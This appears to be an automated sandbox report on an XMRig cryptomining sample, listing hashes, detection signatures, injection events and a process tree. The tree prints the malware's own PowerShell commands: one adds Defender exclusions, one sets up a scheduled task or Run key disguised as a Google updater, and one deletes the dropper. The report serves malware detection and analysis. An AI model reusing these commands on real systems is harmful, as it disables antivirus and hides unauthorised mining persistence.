xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
1801s
max time network
1794s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
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01-04-2023 16:11

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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exe

description	pid	process	target process
PID 3724 created 3156	3724	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 3724 created 3156	3724	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 3724 created 3156	3724	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 3724 created 3156	3724	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 1016 created 3156	1016	updater.exe	Explorer.EXE
PID 1016 created 3156	1016	updater.exe	Explorer.EXE
PID 1016 created 3156	1016	updater.exe	Explorer.EXE
PID 1016 created 3156	1016	updater.exe	Explorer.EXE
PID 696 created 3156	696	conhost.exe	Explorer.EXE
PID 1016 created 3156	1016	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/948-251-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-253-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-254-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-256-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-259-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-263-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-265-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-269-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-271-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-273-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-275-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-277-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-279-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-281-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-283-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-285-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-287-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-289-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-291-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-293-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-295-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-297-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-299-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-301-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-303-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-305-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-307-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-309-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-311-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig
behavioral2/memory/948-313-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1016 updater.exe

pid	process
1016	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/948-251-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-253-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-254-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-256-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-259-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-263-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-265-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-269-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-271-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-273-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-275-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-277-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-279-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-281-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-283-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-285-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-287-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-289-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-291-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-293-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-295-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-297-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-299-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-301-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-303-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-305-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-307-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-309-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-311-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx
behavioral2/memory/948-313-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 1016 set thread context of 696	1016	updater.exe	conhost.exe
PID 1016 set thread context of 948	1016	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
3724	qM5GMXBk6hJE6Y5e.exe
3724	qM5GMXBk6hJE6Y5e.exe
5068	powershell.exe
5068	powershell.exe
3724	qM5GMXBk6hJE6Y5e.exe
3724	qM5GMXBk6hJE6Y5e.exe
4144	powershell.exe
4144	powershell.exe
3724	qM5GMXBk6hJE6Y5e.exe
3724	qM5GMXBk6hJE6Y5e.exe
3724	qM5GMXBk6hJE6Y5e.exe
3724	qM5GMXBk6hJE6Y5e.exe
3736	powershell.exe
3736	powershell.exe
1016	updater.exe
1016	updater.exe
2272	powershell.exe
2272	powershell.exe
1016	updater.exe
1016	updater.exe
2448	powershell.exe
2448	powershell.exe
1016	updater.exe
1016	updater.exe
1016	updater.exe
1016	updater.exe
696	conhost.exe
696	conhost.exe
1016	updater.exe
1016	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
656

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeIncreaseQuotaPrivilege	4144	powershell.exe
Token: SeSecurityPrivilege	4144	powershell.exe
Token: SeTakeOwnershipPrivilege	4144	powershell.exe
Token: SeLoadDriverPrivilege	4144	powershell.exe
Token: SeSystemProfilePrivilege	4144	powershell.exe
Token: SeSystemtimePrivilege	4144	powershell.exe
Token: SeProfSingleProcessPrivilege	4144	powershell.exe
Token: SeIncBasePriorityPrivilege	4144	powershell.exe
Token: SeCreatePagefilePrivilege	4144	powershell.exe
Token: SeBackupPrivilege	4144	powershell.exe
Token: SeRestorePrivilege	4144	powershell.exe
Token: SeShutdownPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeSystemEnvironmentPrivilege	4144	powershell.exe
Token: SeRemoteShutdownPrivilege	4144	powershell.exe
Token: SeUndockPrivilege	4144	powershell.exe
Token: SeManageVolumePrivilege	4144	powershell.exe
Token: 33	4144	powershell.exe
Token: 34	4144	powershell.exe
Token: 35	4144	powershell.exe
Token: 36	4144	powershell.exe
Token: SeIncreaseQuotaPrivilege	4144	powershell.exe
Token: SeSecurityPrivilege	4144	powershell.exe
Token: SeTakeOwnershipPrivilege	4144	powershell.exe
Token: SeLoadDriverPrivilege	4144	powershell.exe
Token: SeSystemProfilePrivilege	4144	powershell.exe
Token: SeSystemtimePrivilege	4144	powershell.exe
Token: SeProfSingleProcessPrivilege	4144	powershell.exe
Token: SeIncBasePriorityPrivilege	4144	powershell.exe
Token: SeCreatePagefilePrivilege	4144	powershell.exe
Token: SeBackupPrivilege	4144	powershell.exe
Token: SeRestorePrivilege	4144	powershell.exe
Token: SeShutdownPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeSystemEnvironmentPrivilege	4144	powershell.exe
Token: SeRemoteShutdownPrivilege	4144	powershell.exe
Token: SeUndockPrivilege	4144	powershell.exe
Token: SeManageVolumePrivilege	4144	powershell.exe
Token: 33	4144	powershell.exe
Token: 34	4144	powershell.exe
Token: 35	4144	powershell.exe
Token: 36	4144	powershell.exe
Token: SeIncreaseQuotaPrivilege	4144	powershell.exe
Token: SeSecurityPrivilege	4144	powershell.exe
Token: SeTakeOwnershipPrivilege	4144	powershell.exe
Token: SeLoadDriverPrivilege	4144	powershell.exe
Token: SeSystemProfilePrivilege	4144	powershell.exe
Token: SeSystemtimePrivilege	4144	powershell.exe
Token: SeProfSingleProcessPrivilege	4144	powershell.exe
Token: SeIncBasePriorityPrivilege	4144	powershell.exe
Token: SeCreatePagefilePrivilege	4144	powershell.exe
Token: SeBackupPrivilege	4144	powershell.exe
Token: SeRestorePrivilege	4144	powershell.exe
Token: SeShutdownPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeSystemEnvironmentPrivilege	4144	powershell.exe
Token: SeRemoteShutdownPrivilege	4144	powershell.exe
Token: SeUndockPrivilege	4144	powershell.exe
Token: SeManageVolumePrivilege	4144	powershell.exe
Token: 33	4144	powershell.exe
Token: 34	4144	powershell.exe
Token: 35	4144	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 3656 wrote to memory of 3300	3656	cmd.exe	choice.exe
PID 3656 wrote to memory of 3300	3656	cmd.exe	choice.exe
PID 3736 wrote to memory of 4908	3736	powershell.exe	schtasks.exe
PID 3736 wrote to memory of 4908	3736	powershell.exe	schtasks.exe
PID 1016 wrote to memory of 696	1016	updater.exe	conhost.exe
PID 1644 wrote to memory of 1212	1644	cmd.exe	WMIC.exe
PID 1644 wrote to memory of 1212	1644	cmd.exe	WMIC.exe
PID 1016 wrote to memory of 948	1016	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3156

C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:4908

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3656

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:3300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2448

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:696

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:2500

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:1212

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
PID:948

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1016

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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C:\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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C:\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
